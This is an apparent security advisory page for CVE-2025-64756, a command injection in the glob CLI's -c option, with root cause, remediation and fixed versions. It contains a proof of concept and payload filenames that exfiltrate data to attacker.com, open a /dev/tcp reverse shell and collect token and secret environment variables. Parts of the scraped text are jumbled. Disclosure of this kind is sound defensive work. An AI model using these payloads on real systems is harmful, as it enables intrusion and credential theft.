glob
Affected
- introduced
11.0.0, fixed11.1.0(semver)
Fixed versions
11.1.0
Fix
- Fixed version
11.1.0npm install [email protected]
Advisory
Also known as: CVE-2025-64756
glob CLI: Command injection via -c/--cmd executes matches with shell:true
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:
glob -c <command> <pattern> shell: trueAffected Component:
glob(), globSync(), streams/iterators) is not affectedAttack Surface:
$(), backticks, ;, &, |, etc.glob -c on untrusted contentPoC
Setup Malicious File:
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:
$(touch injected_poc) in the filename is evaluated by the shellinjected_poc is created, proving command executionAdvanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution:
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
glob -c to process files (linting, testing, deployment)2. Developer Workstation Attack:
glob -c for file processing3. Automated Processing Systems:
4. Supply Chain Poisoning:
Platform-Specific Risks:
Affected Products
src/bin.mts)-c/--cmd option)Scope Limitation:
glob(), globSync(), async iterators) are safe-c/--cmd option is vulnerableRemediation
[email protected], [email protected], or higher, as soon as possible.glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.--shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.High Basis: The source's own band: HIGH
11.0.0, fixed 11.1.0 (semver)11.1.0
11.1.0npm install [email protected]10.2.0, fixed 10.5.0 (semver)10.5.0
10.5.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0